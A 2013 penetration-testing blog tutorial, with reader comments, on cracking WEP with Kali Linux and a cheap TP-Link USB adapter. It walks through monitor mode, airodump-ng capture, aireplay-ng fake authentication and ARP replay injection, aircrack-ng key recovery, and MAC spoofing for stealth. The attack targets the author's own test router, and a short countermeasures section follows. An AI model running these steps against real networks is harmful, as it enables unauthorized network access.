Monday, December 23, 2013

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - WEP

By Tony Lee


So you want to do some wireless testing…  Or maybe you already do, but you are seeking a good little backup wireless adapter and a flexible setup.  The good news is that there are so many adapters on the market.  The bad news is that you may not know which one will work for your purposes.  Features are important, but so is price--especially when you are buying these adapters with your own money for tinkering purposes.  This article will showcase an unlikely adapter that you may want to add to your goodie bag.  We also explain a very convenient wireless attack setup which does not force you to reboot the laptop into an alternate operating system.  To prove the abilities of the wireless card and attack environment, we setup a home router running Wired Equivalent Privacy (WEP) to walk you through a typical attack from start to finish. The follow-on articles will continue with other wireless protection mechanisms, but we must first learn to crawl before we walk. Enjoy!
Figure 1:  Our setup


  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device
  • Discovery (airodump-ng)
  • Attack
    • Explained
    • Setting the Variables
    • Capture Traffic
    • Associate
    • Inject Frames
    • Crack the Key
  • Connect
  • Countermeasures
  • Conclusion



The hardware that we will be using is under $20!  In fact, at the time of this writing, TP-Link’s TL-WN722N can be purchased for only $15.99 with free shipping from Newegg. You can also pick one up from Fry's Electronics if you are lucky enough to have one nearby.
Figure 2:  TP-LINK TL-WN722N for sale at Newegg
It is USB 2.0 and can accept any RP-SMA antenna, which is a very popular and durable connector (think Alpha antennas).  It comes with a 4dBi Omni, uses an Atheros chipset, and works with 802.11b,g,n.  Its only downsides are that it is 150Mbps and that it does not work with 802.11a.
The biggest advantage to using TP-Link’s TL-WN722N for wireless assessments is that it is USB.  Since USB is a direct pass-through in VMWare, it allows a Linux distro to be able to access the hardware directly using its native drivers for that chipset.  Ultimately, this means that you don’t have to boot your whole laptop into the bootable distro--you can run your wireless attack image from a virtual machine.


The operating system that we will be using in this article is Kali Linux 1.0 (VMWare download).  This is available from
Figure 3:  Kali Linux download page

Tips and Tricks

There are a few tips and tricks that will hopefully help you get started with little to no fuss.  We have outlined them below.

Version of Workstation

The folks at Offensive Security used VMWare Workstation version 9 when they created the Kali VM.  Thus, if you open it using an earlier version such as Workstation 8, you will get an error message similar to the following:
“The configuration file "<path>\kali-linux-i386-gnome-vm.vmx" was created by a VMware product that is incompatible with this version of VMware Workstation and cannot be used.”
This is a simple fix.  Just open the .vmx file with a text editor and change the following line:

virtualHW.version = "9"

For a VMWare 8 environment, that line should read:

virtualHW.version = "8"

Now you should be able to start the virtual machine.  To log in, click “Other” and use “root” as the username and “toor” as the password.

Screen resolution

VMWare tools was most likely also configured under VMware Workstation 9, so it does not work properly for automatically resizing the screen in Workstation 8.

The easiest way to manually manage your screen resolution is by using xrandr.  The --current option will list your current resolution as well as other resolutions that your hardware can support as shown below:

root@kali:~# xrandr --current
xrandr: Failed to get size of gamma for output default
Screen 0: minimum 320 x 200, current 800 x 600, maximum 3840 x 1920
default connected 800x600+0+0 0mm x 0mm
  800x600        60.0*    85.0     75.0     72.0     56.0      0.0  
  2048x1536      85.0     75.0     60.0      0.0  
  1920x1440      85.0     75.0     60.0      0.0  
  1856x1392      75.0     60.0  

If you want to change the resolution use the -s option.  In the example below, we changed our screen resolution to 1024x768 (since it was on 800x600).

root@kali:~# xrandr -s 1024x768

Simple text editor

Kali differs from BackTrack in that it did not have gedit installed.  gedit is a very simple and commonly used text editor for the Gnome environment.  If you wish, you can install it by using apt-get install gedit.  Otherwise, you could use notepad, which spawns wine and runs the Windows version of notepad--but that just seems wrong.  ;)  Feel free to leave your other favorite GUI editors in the comment section below.

Connecting the USB Device

When Kali is booted within VMWare, it will detect the USB card when plugged into the laptop as shown in the screenshot below:
Figure 4:  VMware detects the USB wireless card
After clicking on OK, the device becomes visible to the Kali linux virtual system.  The lsusb command can be used to verify that the operating system detected the USB device:

root@kali:~# lsusb
Bus 001 Device 002: ID 0cf3:9271 Atheros Communications, Inc. AR9271 802.11n
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

The iwconfig command can be used to list the wireless status of the installed network adapter.  The newly inserted card shows up as wlan0:

root@kali:~# iwconfig
wlan0     IEEE 802.11bgn  ESSID:off/any  
         Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Encryption key:off
         Power Management:off
lo        no wireless extensions.

eth0      no wireless extensions.

Discovery (airodump-ng)

The simplest way to ensure that the wireless card is working is to do some light discovery.  After all, the first step in a wireless engagement is to identify targets of interest.  The iwlist command works great for this as you can stay in “Managed” mode as shown in the iwconfig command above.

root@kali:~# iwlist wlan0 scanning
wlan0     Scan completed :
         Cell 01 - Address: 00:7F:28:xx:xx:xx
                   Frequency:2.437 GHz (Channel 6)
                   Quality=37/70  Signal level=-73 dBm  
                   Encryption key:on
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   IE: IEEE 802.11i/WPA2 Version 1
                       Group Cipher : CCMP
                       Pairwise Ciphers (1) : CCMP
                       Authentication Suites (1) : PSK
                   IE: WPA Version 1
                       Group Cipher : CCMP

For more advanced discovery and tracking, we want to go into “Monitor” mode.  Running airmon-ng will list the cards present, their chipset and driver.

root@kali:~# airmon-ng

Interface Chipset Driver

wlan0 Atheros AR9271 ath9k - [phy0]

We can put the card into “Monitor” mode by using the ‘start’ option in airmon-ng:

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
2560 NetworkManager
2634 dhclient
3408 wpa_supplicant

Interface Chipset Driver

wlan0 Atheros AR9271 ath9k - [phy0]
(monitor mode enabled on mon0)

Notice that airmon-ng states that monitor mode is enabled on the newly referenced interface mon0.  To round out discovery, we will use airodump-ng to find our victim access point’s information.

root@kali:~# airodump-ng --band abg mon0

When attacking WEP, you need the following information:
  • Name of the wireless network (ESSID)
  • MAC address of the AP (BSSID)
  • Channel that the AP is sitting on
  • MAC address of a wireless client (if no client is present, use your own MAC)

Figure 5:  airodump-ng provides enough victim information to proceed with the attack


Now that discovery is complete, we should have enough information to attack the victim Access Point (AP) to prove that this wireless card is worth having in our toolkit.  But what attack are we performing and why does it work?


For this attack we will be using ARP replay.
“The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has new IVs. It is all these new IVs which allow you to determine the WEP key.”
Even with the warning above that WEP is cryptographically weak and broken, we still find it in client networks.  Let’s take a look at the attack.

Setting the Variables

The victim information from our previous screenshot is summarized below:

Variable name = Description:  Value
$CH = Channel:  6
$AP = AP MAC: 30:46:9A:16:ED:CE
$VM = Victim user MAC:  24:77:03:8C:D3:44

It is a bit of a pain to type and retype the same values into multiple terminal windows.  Since these values are awkward to type quickly and accurately, we use shell variables when attacking wireless networks.  
For example, it is good practice to open 3-4 windows and copy the following into each window to set the variables:

export ESSID=QX3A7
export CH=6
export AP=30:46:9A:16:ED:CE
export VM=24:77:03:8C:D3:44

The layout shown in the screenshot below is our personal preference, but we find it quite useful.  We will monitor/capture in the top window, perform active attacks against the AP in the middle two windows, and use the bottom window for cracking the crypto key.
Figure 6:  The screenshot above shows the variables being set in a few shell windows--this is for convenience
Now that we have our windows set up and environment variables set to our victim’s details, let’s begin the attack.  If you want to change your MAC address for extra stealth, now is the time to do so.  
For example, this command changes our wireless adapter’s MAC address to one belonging to Atari:

ifconfig wlan0 hw ether 00:00:36:12:A4:4E

Capture Traffic

We begin by capturing the traffic.  This is a convenient way to start because it also locks us on to the channel of the AP of interest (in this example, channel 6).  Remember the file prefix you choose.  It is the name of a pcap file that we will use later.

airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>

-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on

airodump-ng -c $CH --bssid  $AP -w capture mon0


This step in a WEP attack may or may not be needed depending on the presence of an associated wireless client and your patience.  Fewer clients and fewer authentications mean a lower volume of IVs to analyze.  In this example, we used the association step to speed things up by performing a fake authentication to the router.

aireplay-ng -1 1000 -q 10 -e <ESSID> -a <APMAC> -h <VICTIM_MAC> <INT>

-1 1000 = (same as --fakeauth) fake authentication attack with a delay of 1000
-q = The time between keep-alive packets
-e = ESSID of target AP
-a = MAC address of the AP
-h = Victim MAC address (if no victim is present, use your own MAC)
<INT> = Interface we will be attacking from

aireplay-ng -1 1000 -q 10 -e $ESSID -a $AP -h $VM mon0

Inject Frames

The goal here is to capture ARP frames and replay them back to the AP so the AP will generate new initialization vectors (IVs).  The more IVs we can collect, the easier it is to crack the WEP key.

aireplay-ng -3 -x 512 -b <AP> -h < VICTIM_MAC> <INT>

-3 = (same as --arpreplay) ARP Replay attack
-x = Number of packets per second
-b = MAC address of the AP
-h = Victim MAC address
<INT> = Interface we will be attacking from

aireplay-ng -3 -x 512 -b $AP -h $VM mon0

When you are watching your attack take place, keep an eye on two fields:  Data and Lost packets.  Both should be climbing at a fairly high rate.  If they ever settle or slow down, kill your fake auth and run it again.  Don’t kill your capture though--let that run.  When your Data packets get to 20,000 or so, start aircrack-ng as shown in the next step.
Figure 7:  The attack is under way

Crack the Key

As the number of data packets increase, your likelihood of cracking the WEP key will increase.  At around 20,000 data packets, run aircrack-ng against the pcap file in which you are capturing IVs.

aircrack-ng <PCAP>

root@kali:~# aircrack-ng capture-01.cap

Don’t worry when aircrack-ng says something along the lines of:  “Failed. Next try with x IVs”.  Aircrack-ng will automatically retry when the IVs hit that number, you don’t have to restart it.  Eventually, if all goes well, the key will be found.  In this case it took 6 minutes (which includes delays to take screenshots of the steps).
Figure 8:  Key is cracked in 6 minutes.


Now that we have recovered the key, we will connect to the AP using the command line steps outlined below:

Check the status of the card:
root@kali:~#  iwconfig wlan0

Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7" key 55:70:9E:69:0D:A0:9B:E1:18:DB:3A:7E:D9

Bring the Interface up:
root@kali:~# ifconfig wlan0 up

Check the Association:
root@kali:~# iwconfig wlan0

Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.

Verify an IP is obtained:
root@kali:~# ifconfig wlan0

After completing the steps above to connect to the WEP protected test network, we did not have an IP address and we were not associated with the access point.  This is strange because we verified the key with the information in the router:
So what happened?  It turns out that the NetworkManager was wreaking havoc with our manual settings.  We used airmon-ng check kill to quickly remove any processes that may be interfering:

root@kali:~# airmon-ng check kill

Found 8 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
2560 NetworkManager
2634 dhclient
3408 wpa_supplicant
8141 dhclient
Process with PID 8141 (dhclient) is running on interface wlan0
Killing all those processes...

After killing the processes listed above, we re-entered the steps to connect and voila!  We are connected to the network, have an IP, and can ping Google.
Figure 9:  Connection and verification process
In the future, we will more gracefully control the NetworkManager using the following commands:

Checking the status:
root@kali:~# /etc/init.d/network-manager status
[FAIL] NetworkManager is not running ... failed!

Stopping NetworkManager:
root@kali:~# /etc/init.d/network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.

Starting NetworkManager:
root@kali:~# /etc/init.d/network-manager start
[ ok ] Starting network connection manager: NetworkManager.

The NetworkManager appears as a tray icon on the Gnome panel and does have some user friendly features.
Figure 10:  Controlling NetworkManager
You can even use NetworkManager to connect to the wireless network, but make sure you remove the colons (:) when entering the key.
Figure 11:  Using NetworkManager to connect to our victim network


Even though the intention of this article is not to highlight the dangers of using WEP security, we feel that it is important to note that we do not condone using WEP.  However, to this day, we perform wireless assessments in which we discover that the client is still using WEP in certain circumstances (usually required for handheld scanners or some other one-off devices).  For these special cases, we recommend the following (in order from most to least secure):
  • Turn off the network if it is no longer needed
  • Air gap the wireless network from the corporate network
  • Switch to WPA-PSK with a REALLY long and complex password - change frequently if possible
  • Segment the wireless network from the wired network via Firewall and IPS


In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by breaking into a WEP protected test network.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine any other capabilities it can provide.  For the time being, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated. Stay tuned for the next article which covers testing WPA-PSK.
If you try this with different cards and run into issues, check the following excellent resource:
Happy Hacking!

Special Thanks

Dan Dumond

David Pany


  1. Nice tutorial,

    Was looking for a cheap wireless adapter and bought one instantly after this review.

    Regards TRIPTIEK

  2. how to connect tp-link tl-wr722n if i am using kali linux singel. not in vmware/virtualbox....

    1. If I understand the question, you are asking if there is a difference between connecting to native hardware vs. a virtualized host? If so, the answer is that there is no difference. VMware is a USB passthrough so it will look like native hardware. Thanks.

  3. I'm not having much luck here...
    Primary OS: Windows 8.1 64-bit Enterprise
    VMWare Workstation 11.x
    Kali Linux 1.1.0c-vm-amd64
    TP-Link 150mbps High Gain TL-WN722N

    The device is connected via USB and linux is recognizing the USB connection, but it is not appearing as a wireless network device. The network manager is not displaying any wlan adapters.

    I've been researching this topic all night... First thing I did was update/upgrade and install headers. No avail.

    I've switched the VMWare settings to Bridge - Nothing...

    I've blacklisted certain drivers according to some online documentation.

    I've installed and built the backports method... Nada.

    Nothing seems to work. I am beginning to believe it is a combination of incompatible hardware/software versions that just don't like this setup.

    Found 2 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to kill (some of) them!
    PID Name
    5111 NetworkManager
    5131 dhclient


    1. Hmmm.. seems strange. Make sure you are plugging into a USB 2.0 port. I don't think my version of VMWare supports USB 3.0 yet and thus ignores the device. I am not sure what version 11 does though.
      Can you give us the output of lsusb? What is the output from iwconfig?

  4. The below command does not work and spits out this error:
    airmon-ng -c $CH --bssid $AP -w capture wlan0mon

    You have entered an invalid channel "--bssid" which will be ignored

    Any ideas?

    1. Instead of using variables, try it without it. Just enter the values in there and see if you get the same error. Let me know.